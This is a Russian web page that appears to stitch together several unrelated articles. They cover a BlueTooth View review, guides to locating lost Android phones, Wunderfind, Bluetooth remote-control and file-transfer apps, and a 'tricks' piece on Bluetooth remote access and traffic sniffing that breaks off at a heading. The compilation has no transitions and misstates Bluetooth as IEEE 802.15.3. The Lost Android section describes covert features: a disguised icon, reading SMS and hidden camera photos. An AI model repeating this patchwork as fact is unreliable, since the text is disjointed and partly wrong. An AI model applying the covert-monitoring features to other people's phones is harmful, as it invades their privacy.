В этой статье мы рассмотрим одну из программ, которая служит для поиска BlueTooth устройств и просмотра информации о них – BlueTooth View.
Многие люди знают, что такое BlueTooth, но мы на всякий случай напомним, что это такое. BlueTooth – это спецификация беспроводных сетей, то есть набор правил, по которым общаются беспроводные устройства, такие как телефоны, кпк, ноутбуки, нетбуки, беспроводные принтеры и сканеры. Радиус действия технологии небольшой, поэтому она используется для связи в небольшом радиусе (для самого продвинутого оборудования – до 100 метров без препятствий, если есть стены или прочие объекты, преграждающие путь радиоволнам – то меньше).
Для работы и обнаружения BlueTooth устройств требуются специальные драйвера и несколько программ, которые позволяют выполнять различные функции (осуществлять поиск устройств, выполнять подключение, передавать файлы и прочие). Программное обеспечение, которое сочетает в себе драйвера и внешнюю программную оболочку, называется BlueTooth-стеком. Сейчас наиболее популярны стеки от Microsoft, Toshiba, Broadcom. Они универсальны, но не все функции, реализованные в них, работают и выглядят так, как хотелось бы пользователю.
В частности, это касается реализации от Microsoft. Предлагаемый сканер устройств работает довольно медленно, часто не может с первого раза найти подключение и имеет довольно громоздкий и неудобный интерфейс. Для исправления такого печального положения дел служат различные программы-сканеры от сторонних разработчиков.
BlueTooth View выгодно отличается от программ такого рода своим интерфейсом – все данные наглядно представлены в виде таблицы.
В таблице отображаются все данные об устройстве – имя, физический адрес, тип устройства (телефон, компьютер и прочее) и в частности (смартфон, лаптоп), время первого и последнего подключения, состояние устройства и подключения к нему и прочее. К этой же информации можно получить доступ дважды щёлкнув левой кнопкой на устройстве в таблице. В появившемся окне информация выглядит более наглядной и понятной. Особенно этот вид помогает, когда подключённых устройств много, и строчки можно перепутать.
Информацию об устройствах можно копировать, редактировать, изменять подсказки, выбирать вид столбцов. Можно даже вывести общую информацию в виде HTML – таблицы.
При запуске программа имеет в трее свою иконку, которая, к сожалению сильно похожа на соседствующую с ней иконку BlueTooth от Windows – легко перепутать. Меню трея по-спартански короткое – всего три пункта: открыть окно программы, перезапустить и выйти.
Немного о впечатлениях от программы. Работает она действительно быстрая, находит устройства практически мгновенно, с этим проблем нет. Информация об устройствах предельно точная, выводятся все нюансы. При желании устройство можно подключить, щёлкнув на нём правой кнопкой и выбрав пункт из меню. Подключение осуществляется через стандартную процедуру подключения устройства Windows. Опции программы, вызываемые правой клавишей, разбросаны по различным меню, и это в чём-то даже удобно – интуитивно понятно, где их искать. Также удивила возможность писать макросы на подключаемое устройство и выставлять на каждое устройство свои специфические настройки.
Минусов у программы практически нет. Можно, конечно, упрекнуть её за невзрачный и простой вид, но благодаря этому она работает очень быстро. Ещё одним недостатком является совместимость только с BlueTooth-стеком от Microsoft Windows и эта проблема характерна для многих программ, работающих с BlueTooth (например, BlueTooth Radar, BlueTooth Network Scanner).
Резюмируя вышесказанное, можно сказать, что BlueTooth View – очень быстрая программа, с практичным и простым интерфейсом и отсутствием сложных и непонятных настроек. Всё просто и интуитивно понятно. К тому же она бесплатна. Есть одно «но» — работает только с драйверами от Microsoft, так что владельцам драйверов от других производителях придётся пользоваться программами от производителя оборудования или искать другую альтернативу.
Как вывод: эта программа идеально подходит Вам, если важна скорость работы или простота в освоении. Если же Вам важен внешний вид, то советуем обратить внимание на другую подобную программу с похожими функциями, но красивым и необычным интерфейсом – BlueTooth Radar.
Читайте также:
- Как слушать дальнобойщиков без рации на андроид
- Фильм про девушку андроида в которую влюбился ученый
- Мультимедиа икс рей на андроид обновление карт
- Android reverse tethering не видит устройство
- Как удалить эмулятор в android studio
Потеря мобильного устройства, особенно смартфона, — это серьезнейший повод для стресса. Наши устройства хранят основную часть личной информации и потенциально конфиденциальных данных. В случае потери или кражи это может иметь катастрофические последствия. Если вы используете устройство Android, есть способы определить его местоположение, если случайно разминетесь с ним. В этой статье мы соберем несколько способов определить местоположение телефона, которые вы можете использовать, пока ваш телефон включен и подключен к мобильной сети или сети Wi-Fi. Только имейте в виду, что использовать трекеры для отслеживания положения других людей без их ведома не только неэтично, но и незаконно.
Если телефон потерялся, это еще не значит, что его нельзя найти.
Содержание
- 1 Как найти телефон
- 1.1 Самый простой способ найти телефон
- 1.2 Как найти потерянные часы
- 1.3 Как найти потерянный Samsung
- 2 Приложения для поиска телефона
- 2.1 Как узнать, где находятся члены семьи
- 2.2 Приложение для защиты телефона
- 2.3 Where’s My Droid — приложение для поиска телефона
Как найти телефон
Ряд производителей предлагают собственный способ отслеживания телефонов. Вот варианты от Google (для любого телефона Android) и Samsung (для устройств Samsung).
Самый простой способ найти телефон
Приложение Google Find My Device является обязательным для пользователей Android и одним из самых полезных приложений для Android. Если вы добавили учетную запись Google на свое устройство Android, функция ”Найти устройство” будет включена автоматически. Вы можете проверить, что служба запущена, перейдя в ”Настройки”, далее выбираем ”Google” и открываем ”Найти мое устройство”. Иногда перед последним пунктом надо будет открыть пункт ”Безопасность”. После этого останется только убедиться, что функция включена.
Настройка в три клика
Так при включении этой функции вы сможете найти свой гаджет, просто перейдя на страницу поиска устройств. Искать таким способом можно не только телефоны, но и планшеты. А еще их можно будет удаленно стереть и заблокировать.
Чтобы начать поиск, надо будет или скачать приложение из Google Play, или перейти на специальный сайт. В первом случае не забудьте выйти из учетной записи, если искали свой смартфон с чужого. В противном случае, этот человек сможет отслеживать положение вашего устройства.
Если вы пользуетесь WEB-версией, то функциональность будет той же самой, но не придется никого просить установить приложение и дать вам телефон. Проблема в том, что часто под рукой просто нет компьютера и приходится прибегать к помощи других пользователей.
Как Google упростит обновление смартфонов на Android.
Как найти потерянные часы
Если вы потеряли умные часы, их тоже можно найти и не потратить на это слишко много времени. Достаточно просто воспользоваться схемой описанной выше и включить функцию отслеживания.
Как найти потерянный Samsung
Samsung предлагает собственный способ поиска потерянного телефона для своих пользователей — Find My Mobile. Воспользоваться им могут только люди с учетной записью Samsung.
Чтобы проверить, включена ли соответствующая опция, откройте настройки телефон. Теперь пролистайте до пункта ”Биометрия и безопасность” и внутри выберите ”Поиск устройств”. Если настройка не активирована, это можно будет легко сделать, передвинув соответствующий переключатель.
Сделайте это, если у вас Samsung.
Вы так же сможете выбрать, хотите ли вы включить параметры удаленной разблокировки и отправки последних местоположений. В первом случае Samsung запишет ваш PIN-код, пароль или графический ключ, что позволит вам разблокировать устройство, даже если вы его забыли. После активации вы сможете управлять своим телефоном даже удаленно. Параметр ”Отправить последнее местоположение” очень важен, так как он определяет, что аккумулятор вот-вот разрядится, и отправляет данные о последнем известном положении телефона на серверы Samsung.
Найти телефон также проще всего будет через сайт, который покажет всю важную и нужную информацию о местоположении вашего смартфона.
Тут можно купить отобранные вручную гаджеты с AliExpress
Приложения для поиска телефона
Если вы по какой-то причине не хотите пользоваться штатными средствами поиска или вам нужна дополнительная функциональность, стоит обратить внимание на сторонние приложения для отслеживания телефона. Часто они бывают не бесплатными и работают по абонентской плате. Впрочем, так и должно быть. Иначе стоит задуматься, почему разработчики такого полезного приложения вдруг оказались такими щедрыми.
Иногда надо искать не только телефон, но и человека
А еще они будут хранить все ваши данные, необходимые для поиска телефона, на своем сервере. Об этом тоже стоит задуматься. Ведь кто-то всегда будет в курсе вашего местоположения. Обязательно внимательно прочитайте политику конфиденциальности перед регистрацией, если вы решите использовать стороннее приложение.
Google выпустила пакет обновлений для Android. Что нового.
Как узнать, где находятся члены семьи
Опять же, прежде, чем определять местоположение другого человека, даже члена семьи, стоит выяснить у него, не будет ли он против. Он должен быть как минимум в курсе отслеживания его местоположения.
Life360: Семейный локатор, GPS трекер — бесплатное приложение, предназначенное для семей, позволяет вам отслеживать, где находятся все члены вашей семьи, определяя местоположение их телефонов. Таким образом, даже если один из участников потеряет свой телефон или с ним что-то случится, другие могут мгновенно узнать, где он находится.
Это будет полезно не только в городе, но и в походе, когда с человеком может что-то случиться и надо будет прийти к нему на помощь. Впрочем, для отправки местоположения нужно будет подключение к сети, которые не часто можно найти в лесу или в горах, но иногда найти человека будет существенно проще.
Скачать Life360: Семейный локатор, GPS трекер
Приложение для защиты телефона
Cerberus Phone Security создано для предотвращения кражи данных с украденного телефона. Если вы беспокоитесь о том, что ваш телефон украдут или вы его потеряете, а кто-то подберет, Cerberus может быть для вас лучшим приложением.
Оно предлагает множество функций безопасности, которые позволяют получить удаленный доступ к утерянному или украденному устройству. Вы сможете включить звуковой сигнал, стереть данные, заблокировать устройство и даже сделать фотографии с передней камеры, чтобы обнаружить воров.
Это приложение так же можно использоваться, как семейный локатор с различными функциями для взрослых и детей. Оно не бесплатно, но, как я уже говорил выше, так и должно быть. Иначе данные о перемещении могут быть использованы против вас.
Скачать APK Cerberus Phone Security
Where’s My Droid — приложение для поиска телефона
Where’s My Droid — бесплатное приложение (но с платными функциями) для поиска вашего телефона. Он позволяет вам искать свое устройство, отправлять команду издать звук, делать фотографию местности, отслеживать местоположение по GPS, устанавливать пароль и в самом крайнем случае стирать все данные.
Это мощный инструмент, но не полностью бесплатный.
Обратите внимание, что большинство из этих функций доступны только для платных участников, поэтому вам, вероятно, придется потратить немного денег, чтобы получить максимальную отдачу от этого приложения.
Скачать Where’s My Droid
Вы потеряли свой мобильник или у вас его украли. Узнай, как и где найти, отследить украденный или потерянный телефон на Андроид, если даже невозможно предположить примерное местоположение, где это могло произойти. Конечно, обидно потерять свой телефон. В нем хранится много информации начиная от контактов и кончая сведениями о банковских картах.
Ведь современный смартфон Андроид – это непростое средство дозвона, это компактный компьютер в кармане, без него уже многие не представляют свою активную жизнь.
Наивные владельцы пропавшего мобильника сразу же обращаются в правоохранительные органы, пишут заявление о пропаже, надеясь, что полицейские смогут найти гаджет и отдать вам обратно. Но этот ход практически никогда не дает положительного результата – сумма ущерба от потери телефона небольшая, поэтому никто особенно не будет стараться найти смартфон, в случае если известно местоположение преступления.
Но есть несколько проверенных способов, которые помогут найти ваш телефон, если украли в крупном и оживленном мегаполисе.
Содержание статьи
- Обзор проверенных способов найти телефон Андроид
- Как найти смартфон используя интернет
- “Найти устройство” – встроенная функция для поиска
- Найти с компьютера
- Отследить с помощью другого смартфона
- Отследить телефон используя Google Maps
- Сторонние приложения отследить телефон
- Lost Android или потерянный Андроид
- Сервис Avast Anti-Theft
- AirDroid поможет отследить мобильник
- В заключении
Обзор проверенных способов найти телефон Андроид
Система Андроид разработана компанией Google, заботившейся о своей репутации, поэтому создала несколько сервисных приложений, чтобы найти потерянный телефон. Но чтобы ими воспользоваться, необходима регистрация в системе, сделать это просто необходимо, только имея активированную учетную запись стоит попробовать найти свое устройство Андроид.
Также необходимо подключение к встроенному модулю GPS от Гугл, которое определяет расположение потерянного гаджета.
Кроме сервисных приложений от компании Гугл, существуют сторонние приложения, которые также используют, чтобы найти его по местоположению, номеру или другим данным.
Но если вы обнаружили свое устройство, то нет гарантии, что мобильник сразу же вернут – это может быть опасно, поэтому лучше обратиться к правоохранительным органам за помощью в возврате потерянного устройства. Пожалуйста, не пытайтесь противостоять мошенникам.
Как найти смартфон используя интернет
Самое первое при потере или краже гаджета открывайте аккаунт Гугл и переходите в раздел “Безопасность”.
Если вы забыли данные от аккаунта Google, логин и пароль, эти способы вам не помогут.
Находите раздел “Ваши устройства” и переходите по любой ссылке:
- найти телефон
- управление
При переходе в “Управление телефоном” выбираете то, которое потеряли.
Здесь есть возможность отключить аккаунт Гугл на мобильнике, и таким образом, защитить часть данных.
Затем переходите по ссылке-вопросу “Потеряли телефон” и еще раз, подтвердив аккаунт, попадаете к управлению.
На этом этапе возможно:
- проанализировать последние действия
- заблокировать телефон
- позвонить на него
- выйти из аккаунта
- обратиться к оператору
- заблокировать данные
При утере смартфона поблизости активируйте функцию “Прозвон”. Аппарат будет звонить в течение 5 минут на максимальной громкости, с отличным от других сигналом звуком. У вас будет достаточно времени обнаружить свой телефон.
Если мобильника нет поблизости, используйте функцию “Найти”.
Совет: При помощи удаленного управления лучшим вариантом будет полная блокировка. Так, по крайней мере, злоумышленник не сможет вас шантажировать, зная ваши личные данные.
Особенно полезна эта функция для владельцев корпоративных номеров, поскольку в памяти может храниться конфиденциальная информация, не предназначенная для посторонних лиц.
Но если он выключен, и нет интернета, то используя этот сервис обнаружить мобильник не представляется возможным, поэтому любые манипуляции с ним не помогут.
“Найти устройство” – встроенная функция для поиска
Любой мобильник оснащен опцией поиска, поэтому найти потерянный телефон вполне вероятно используя встроенный функционал “Найти устройство”.
Воспользовавшись этой функцией возможно отключить все работающие приложения или их восстановить, причем сервис доступен для всех Андроид от Google. Устанавливать другие приложения нет необходимости.
Найти с компьютера
Чтобы отыскать потерянный мобильник, в случае кражи, понадобиться подключение к интернету на компьютере в браузере, для определения местоположения.
Но этот вариант может сработать, если подключен выход в интернет, а если выключен, то обнаружить не получится.
Итак, чтобы обнаружить потерянный девайс, сделайте следующее:
- открываете браузер на компьютере наберите адрес сайта https://www.google.com/android/find
- войдите в сервис с помощью своего аккаунта google если запросит
- откроются все ваши устройства, нужно только кликнуть на тот девайс, который вы смогли потерять
После всех действий у вас появится возможность:
- дозвона
- полной блокировки
- полного уничтожения всех данные в памяти (во время этой операции данные аккаунта также будут стерты)
Во время блокировки вы можете оставить сообщение и добавить номер любого другого абонента для связи с вами.
Эта опция рассчитана на порядочных людей. Нажав на зеленую кнопку произойдет вызов на указанный вами номер.
Очистка мобильника приведет к полному удалению всех данных и после этого местонахождение аппарата не сможет определиться.
Отследить с помощью другого смартфона
Для более оперативного поиска вы можете использовать любой другой аппарат членов семьи или друга.
Переходите в раздел “Защита” или “Безопасность” в настройках устройства.
Находите раздел “Найти устройство” и выбираете функцию с одноименным названием.
Вход для поиска осуществляете в качестве Гостя, введя далее, свой логин и пароль от аккаунта Гугл.
Теперь вы можете произвести все действия, описанные выше, при входе с компьютера.
Отследить телефон используя Google Maps
Порядок действий:
- следует убедиться, что смартфон имеет выход в интернет или включена опция мобильной связи и определения местоположения. Если все выключено, то разыскать телефон с помощью этой опции будет невозможно
- на своем ПК откройте поисковик google и перейдите в раздел “Карты” (под своим аккаунтом)
- вверху слева откройте позицию “Хронология” – здесь нужно указать точную дату поиска.
- после этих действий потерянный телефон, должен быть, обнаружен, а на карте посмотреть местоположение
Сторонние приложения отследить телефон
Разберем работу в 3 популярных сервиса, чтобы найти потерянный телефона.
Все эти приложения помогут в том случае, если вы заблаговременно подстраховались и установили одно из них.
Lost Android или потерянный Андроид
Скачать программу из магазине Google Play. После установки приложение изменит свой значок на картинку блокнота – это так задумали создатели, чтобы злоумышленники не смогли распознать работающую функцию обнаружения.
Настройка состоит из нескольких этапов:
- задайте ему права администратора устройства – это понадобится для блокировки или уничтожения всей информации
- также необходимо разрешить софту выходить в интерфейс браузера
Весь процесс розыска будет проходить в браузере на компьютере с использованием учетной записи Google.
Приложение оснащено расширенными возможностями, и может помочь:
- при дозвоне и включении вибрации
- для определения местонахождения
- чтение всех sms сообщений или в отправке новых
- определение нахождения устройства в зоне сети (включено или выключено)
- активировать работу Wi-Fi, вспышку, осуществить перенаправление входящих звонков на другой аппарат, открыть список входящих и исходящих соединений, историю просмотра страниц в браузере и многое другое
Сделать скрытый снимок задней или фронтальной камерой потерянного устройства. И тот, у кого она находится, не заподозрит ничего.
Некоторые опции разработчик ОС Android уже включены в функционал смартфонов, но опции этой программы намного шире.
В этом видео рассказано, как установить программу на украденный телефон и как найти потерянное устройство.
Сервис Avast Anti-Theft
Многие пользуются антивирусным программным обеспечением от Avast, и должны знать, что в компании активно занимаются проблемами защиты мобильных девайсов, поэтому создан этот софт.
Настройки:
- При первой активации приложения высветиться сообщение о защите всей системы от вторжения, для этого используется придуманный вами код.
- Для работы необходимо привязать ПО с номером мобильника, и указать дополнительный номер другого абонента.
- Предоставить разрешение на администрирование, поскольку только так можно будет воспользоваться полезными функциями.
Нюансы:
- После того как смартфон попал в чужие руки, и злоумышленники заметили, что за ними следят, то приложение невозможно удалить, поскольку потребуется ввод кода, которого похитители наверняка не знают.
- Удаленно в софте включается геолокация, это поможет определить место, где находится мобильник.
Но в остальном, работа Avast Anti-Theft стандартна, сделать дозвон, определить, где находится украденный девайс, заблокировать или стереть все данные.
Веб-управление телефоном с компьютера осуществляется по ссылке: https://my.avast.com/ru-ru/#devices
Однако разработчиками предлагается платная версия, у которой функционал намного шире, чем в стандартном и бесплатном варианте. Стоимость невысока, если есть необходимость защитить информацию при утере девайса, то рассмотрите этот вариант.
AirDroid поможет отследить мобильник
Отследить телефон с помощью программы AirDroid, синхронизированное с Web версией. Принцип использования аналогичен вышеописанным приложениям.
Как установить, подключить и использовать все функции приложения описано ранее в статье.
В заключении
Вам не помогли вышеописанные способы. Остается два выхода:
- обратиться к провайдеру вашей мобильной связи (поиск местоположения по номеру абонента)
- обратиться в полицию (напишите заявление, приложите Imei, коробку и чек оплаты)
Возможно, эти способы помогут вам лучше, чем предложенные выше.
Если вы подозреваете, что в вашем доме, квартире или офисе есть скрытое устройство Bluetooth, или вы только что потеряли устройство с поддержкой Bluetooth, есть простой способ отследить его физическое местоположение благодаря приложению для iPhone и Android. Вот как это сделать.
Все устройства с Блютуз работающие в активированном состоянии, излучают постоянный сигнал, который могут принимать другие устройства с поддержкой Bluetooth. Вот как они отправляют данные по беспроводной сети, а также как устройства подключаются друг к другу.
Используя это свойство Bluetooth, приложение под названием Wunderfind для iPhone or Android может помочь вам физически найти потерянный, спрятанный или неизвестное Bluetooth-устройство с помощью вашего смартфона. Сюда входят ПК, ноутбуки, планшеты, смартфоны, наушники Bluetooth, Airpods, умные часы, устройства для умного дома и многое другое. Однако, чтобы найти любое из этих устройств с помощью сигналов Bluetooth, они должны быть включены с включенным Bluetooth.
Wunderfind можно использовать бесплатно без раздражающей рекламы, а Pro-версия, предлагающая дополнительные функции, в настоящее время стоит разумную покупку в приложении за 5 долларов (по состоянию на май 2022 года). Существуют и другие приложения для отслеживания Bluetooth, но мы обнаружили, что некоторые из них имеют хищнические подписки на приложения или навязчивую рекламу. Wunderfind в настоящее время не имеет ни одной из этих проблем. Вот как это использовать.
Как найти спрятанное или потерянное устройство Bluetooth с помощью WunderFind
Чтобы найти активное устройство Bluetooth, сначала убедитесь, что Bluetooth включен на вашем смартфоне. Затем загрузите Wunderfind для вашего iPhone or Android устройство и запустите приложение. Сразу же вы увидите список Bluetooth-устройств, обнаруженных вашим смартфоном с помощью встроенного Bluetooth-радио.
Рядом с каждым устройством вы увидите приблизительное расстояние между текущим местоположением вашего смартфона и скрытым или отсутствующим устройством Bluetooth. Это число изменяется динамически, когда вы перемещаетесь. Чтобы получить более подробную информацию о силе сигнала, коснитесь одного из элементов в списке.
Нажав на элемент, вы увидите экран, в котором вам будет предложено передвигаться, удерживая смартфон и наблюдая за изменением уровня сигнала целевого устройства Bluetooth.
По мере приближения к целевому устройству уровень сигнала будет приближаться к 100%. По мере удаления от целевого устройства уровень сигнала будет падать ближе к 0%. Используя эти показания, вы можете перемещаться по своему пространству до тех пор, пока уровень сигнала не станет выше. Если устройство потеряно и находится в вашем доме или офисе, оно будет поблизости.
Если устройство неизвестно и вы не можете его найти, возможно, оно находится в чужом доме, офисе или квартире. Или он может быть намеренно спрятан где-то поблизости. Ничего не стоит тот факт, что большинство скрытых камер наблюдения используют Wi-Fi, а не Bluetooth для связи, поскольку Bluetooth обычно имеет небольшой радиус действия беспроводной связи, и кто-то должен находиться поблизости, чтобы получить данные. (Вы не можете обнаружить камеры только с Wi-Fi с помощью Wunderfind, но есть другие методы это поможет.)
В прошлом мы видели загадочное Bluetooth-устройство под названием «ЛОСЬ-БЛЕДОМ” в наших списках Bluetooth и обнаружил, что это соседская светодиодная лента, поэтому не думайте, что за вами следят, если вы не можете найти неизвестное устройство в своем доме или офисе — вы, скорее всего, подхватываете Bluetooth соседа. устройство, которое посылает паразитные сигналы в вашем направлении. Удачи и берегите себя там!
Оригинал статьи
Такая уже достаточно немолодая технология, как Bluetooth, уже давно перестала играть какую-то важную роль в гонке беспроводных модулей. Но факт остаётся фактом: большинство беспроводных технологий частично или полностью базируются на принципах работы именно этого протокола. Даже самые технологичные устройства и аппараты иногда вынуждены использовать управление телефоном через Bluetooth. Как это сделать и для чего нужно, будет описано дальше.
Дистанционное использование
Если всё правильно настроить и иметь в распоряжении подходящие аппараты и устройства, то можно совершать управление через Bluetooth:
- Мобильным.
- Ноутбуком, нетбуком.
- Планшетом.
- Телевизором.
- Микрокомпьютером-донглом.
- Автомагнитолой.
- Умным домом etc.
Причём комбинировать это можно различными способами. Например, управлять мобильником с другого телефона или планшетом с ноутбука. Главное – чтобы была поддержка нужных протоколов, а настроить можно практически что угодно.
Но с этим стоит быть внимательнее и аккуратнее, так как за прошедшие годы злоумышленники нашли много способов совершить взлом устройства, используя уязвимость Bluetooth-протоколов.
Дальше разберем пару программ, каждая из которых отвечает за свой профиль и позволяет осуществлять управление по Bluetooth телефоном.
MyPhoneExplorer
Эта программа позволяет совершить сопряжение, разрешающее доступ к мобильному устройству с персонального компьютера. Естественно, потребуется установить программы на оба устройства и, разумеется, на каждую платформу нужно своё приложение. Компьютерная версия скачивается с официального сайта, а мобильный вариант можно найти в магазине приложений Google – Play Маркет.
Утилита имеет весьма широкий функционал, который может удовлетворить практически любые запросы пользователя начиная от прямой манипуляции телефоном с ПК, отправки СМС, совершения звонков и заканчивая выходом в интернет. Но главным преимуществом является то, что утилита не делает селекционный отбор по производителю устройства, как это принято в Kies или PC Suite, а распознаёт и подключает практически все гаджеты с Android OS. В исключения можно записать лишь исконно китайские аппараты, которые и заказать-то трудно.
Выполняется сопряжение достаточно просто: после установки утилиты на оба аппарата потребуется включить Bluetooth-модуль и запустить приложения.
А далее компьютер при первом запуске предложит избрать один из пяти методов подключения:
Выбираем Bluetooth-протокол и в графе справа находим нужный порт, если их несколько.
После синхронизации можно начинать пользоваться всеми доступными функциями.
Tablet Remote
Этот апплет представляет собою аналогичную вышеупомянутой утилиту, только с несколько уменьшенным функционалом. Ориентирована и заточена она на связку мобильный-мобильный или телефон-планшет. Проще говоря, синхронизация происходит между двумя устройствами, работающими под управлением Android OS.
Целевое назначение апплета заключается в манипуляции гаджетом в ключе воспроизведения музыки и видео, но это не значит, что функционал ограничивается лишь этим. Доступны также и три основные системные кнопки, и даже набор текста на другом аппарате, реализованный посредством экранной клавиатуры ведомого гаджета.
Как и в предыдущем случае, первым делом нужно включить Bluetooth-модули на обоих устройствах, а затем запустить апплеты. Выбрать соответствующий способ соединения и произвести сопряжение.
Параметры представлены не очень богато, но всё что нужно, там имеется. К примеру, они позволяют установить полноэкранный режим. Сюда нужно зайти на управляемом гаджете, чтобы указать его в качестве ведомого. Для этого потребуется зайти в параметры и во вкладке «Setup» поставить галочки напротив обоих имеющихся пунктов. На этом всё – можно начинать пользоваться предоставляемыми функциями.
Что такое Bluetooth. Описание и особенности технологии Bluetooth: Видео
Имею опыт работы в ИТ сфере более 10 лет. Занимаюсь проектированием и настройкой пуско-наладочных работ. Так же имеется большой опыт в построении сетей, системном администрировании и работе с системами СКУД и видеонаблюдения.
Работаю специалистом в компании «Техно-Мастер».
Современные беспроводные технологии позволяют синхронизировать мобильные устройства друг с другом для разных целей. Сегодня мы разберемся, как подключить телефон к телефону через Блютуз.
Передача файлов
В большинстве случаев пользователи передают различные данные между двумя мобильными девайсами посредством технологии Bluetooth. Телефоны должны находиться неподалеку друг от друга с активированной функцией беспроводной передачи файлов. На устройствах под управлением Android данная опция активируется двумя способами.
Свайпом вниз по экрану телефона откройте верхнюю «шторку» и на панели доступа выберите иконку Bluetooth, если она там находится. Если ее нет, вы можете добавить быстрый запуск на верхнюю панель или воспользоваться вторым способом.
Второй вариант несколько длиннее. Вам необходимо найти раздел с настройками на главном экране или в меню устройства (зависит от оболочки). После этого открыть вкладку с настройками беспроводной сети и активировать функцию Bluetooth.
Названия и внешний вид меню на Android могут меняться в зависимости от версии операционной системы и оболочки производителя. Но принцип включения Блютуза везде одинаковый.
Теперь нужно подключить телефон к другому устройству:
- Откройте приложение, через которое вы просматриваете файлы для передачи на другой телефон. Например, стандартная галерея для просмотра фото, файловый менеджер для общих данных и так далее.
- Выберите нужны файл и откройте дополнительное меню. В нем выберите вариант «Передать» или «Поделиться».
- После этого появится список вариантов передачи. Среди них найдите Bluetooth.
- Активируйте Блютуз на втором устройстве и подождите, пока передающий смартфон найдет его.
- При подключении введите пароль, если на девайсе установлена защита.
- Подождите окончания передачи данных. Об успешном завершении свидетельствует соответствующее уведомление.
Теперь рассмотрим подключение двух телефонов на ОС iOS. Сначала точно так же включите функцию Bluetooth через главное меню или с помощью панели быстрого доступа. Однако на устройствах Apple данная «шторка» открывается свайпом вверх.
Теперь откройте настройки беспроводной сети и включите поиск устройств. После того, как будет найден второй телефон, подключитесь к нему и сохраните в памяти.
Некоторые устройства отображаются в поиске не с настоящим названием фирмы и модели, а кодом из цифр или букв. Предварительно посмотрите имя девайса в настройках, чтобы не подключиться к постороннему телефону. Актуально при передаче данных в общественном месте.
Управление по Bluetooth
Второй вариант подключения двух устройств по Bluetooth – это удаленное управление девайсом. Для этого можно использовать стороннее приложение Tablet Remote. Оно превращает один смартфон в полноценный пульт для управления функционалом другого смартфона. Установить данный софт нужно на оба девайса и сделать следующее:
- Откройте приложение на управляющем девайсе и выберите раздел «Setup».
- Включите все опции и перейдите к пункту «Connection».
- После включения Bluetooth из списка найденных устройств выберите нужный вариант.
- Теперь откройте Tablet Remote на втором телефоне и зайдите в пункт «Remote».
Таким способом можно превратить один смартфон в беспроводной геймпад и наслаждаться мобильными играми на экране другого девайса. В настройках приложения вы можете менять раскладку виртуальной клавиатуры в зависимости от способа использования.
Видеоинструкция
Если вам нужна наглядная инструкция по данной теме, то после прочтения статьи вы можете ознакомиться с представленным роликом.
Заключение
Итак, теперь вы узнали о двух способах подключения телефонов друг к другу. Мы рассмотрели отличия между операционными системами Android и iOS. Как видите, в обоих случаях передача данных по Bluetooth практически идентична. Если у вас есть вопросы по теме, то задавайте их в комментариях ниже, а мы ответим вам в кратчайшие сроки!
Содержание статьи
Все отлично знают, что с помощью Bluetooth можно передать файл с девайса на девайс или подключить беспроводную гарнитуру. Но этим его возможности не ограничиваются. Имея при себе нужный инструмент, можно творить настоящие чудеса. Так почему бы не попробовать себя в роли фокусника?
Встроенный модуль технологии Bluetooth (или, если более официально, IEEE 802.15.3) давно перестал быть диковинкой. Стоимость модуля настолько мизерна, что не встраивает его в мобильный, ноутбук или КПК только ленивый производитель. Да и то – по соображениям маркетинга. Словом, Bluetooth используют практически все. Но лишь единицы знают, что, используя технологию, рискуют выдать свои конфиденциальные данные. Но начнем все-таки с хорошего!
Трюк 1: Используем BT для удаленного доступа к компьютеру
Как-то для проведения презентации я пригласил одну длинноногую подругу – нажимать кнопку «пробел», чтобы перелистывать слайды в Power Point. Это удовольствие стоило мне недешевого обеда и двух часов пустых разговоров с Barbie girl. После этого я твердо решил: в следующий раз проблему отсутствия пульта ДУ я обойду по-другому. И обошел, воспользовавшись мобильником! Да-да, прямо с телефона можно перелистывать слайды, управлять музыкой – и делать еще бог знает что. Главное, чтобы на мобильнике и компьютере были установлены BT-модули. Мало того, что сэкономишь деньги и силы, так еще и выглядеть будешь непростительно модно. Показать такой фокус способен каждый, кто заюзает утилиту
Bluetooth Remote Control, не столь давно обновившуюся до версии 3.0. Она позволяет управлять компьютером с экрана любого мобильного телефона. Все очень просто. На компьютер ставится специальная серверная часть, а на телефон – программа-клиент, написанная на Java (требуется MIDP 2.0). После настройки нехитрой схемы ты сможешь дистанционно управлять мышкой и клавиатурой компа. И самое главное – получишь доступ к удаленному рабочему столу. Настоящий Remote Desktop прямо с экрана мобильного телефона! Ну, а с длинноногой подругой время можно провести куда более удачно. Bluetooth Remote Control пригодится и здесь: чтобы поставить
романтическую музыку :).
Трюк 2: Контроль доступа с помощью BT
Если ты работаешь в комнате, где вместе с тобой сидит с десяток коллег, тебе наверняка приходилось блокировать компьютер, когда уходишь в другое помещение. А что? Не успеешь отойти, как кто-нибудь уже покопается на твоем харде. Расклад не самый приятный. В общем, лочить компьютер нужно обязательно, вопрос в том – как? Можно использовать стандартные возможности винды и по десять раз на дню вводить длиннющий пароль. Или же делать это красиво с помощью технологии Bluetooth. Все просто, как дважды два. Отходишь от компьютера – и он тут же блокируется. Возвращаешься обратно – и лока как не бывало! Единственное условие: как в компьютере, так и в мобильном телефоне должен быть установлен модуль
Bluetooth, а в системе заинсталена программа LockItNow ( ты легко можешь написать такую программу и сам, у нас была целая статья ) . Впрочем, приятелям и коллегам можно рассказывать о телепатических возможностях, а потом продавать секрет за деньги :). Кстати говоря, если под рукой BT-модуля нет, то его можно заменить телефоном, который поддерживает «синий зуб» (подключи по COM-порту).
Трюк 3: Снифаем BT-трафик из эфира
Мастерство начинается с понимания. Не возникало ли у тебя когда-нибудь желания посмотреть внутрь протокола и узнать, как происходит обмен данными через «синий зуб»? Прослушивание трафика Bluetooth может выполняться только «в себя», то есть выполняется перехват исходящего и входящего трафика узла, на котором ты отдал команды. В этом деле немаловажное значение имеет так называемый Host Controller Interface (HCI), который позволяет обращаться к передатчику. HCI-узел обычно подключается к узлу драйвера устройства Bluetooth (входящий поток) и к узлу L2CAP (исходящий поток). Windows платформа по умолчанию такой возможности не предоставляет. Однако сторонними разработчиками были выпущены
специальные драйвера, которые позволяют переводить стандартный донгл в сниффер. Традиционно показательной в этом плане является работа FTS4BT Wireless Bluetooth Protocol Analyzer, стоящего бешеные деньги. Продукт цепляет тем, что поддерживает новый Bluetooth v2.0 + EDR, на базе которого работают современные устройства и, более того, способен на лету декодировать весь трафик из эфира, аккуратно отсортировывая аудио, данные протоколов приложений и многое другое. Понятно, что для снифинга (да и вообще) наиболее актуальны USB-донглы класса 1, радиус действия которых достигает ста метров.
Трюк 4: Работаем с BT-адаптером напрямую
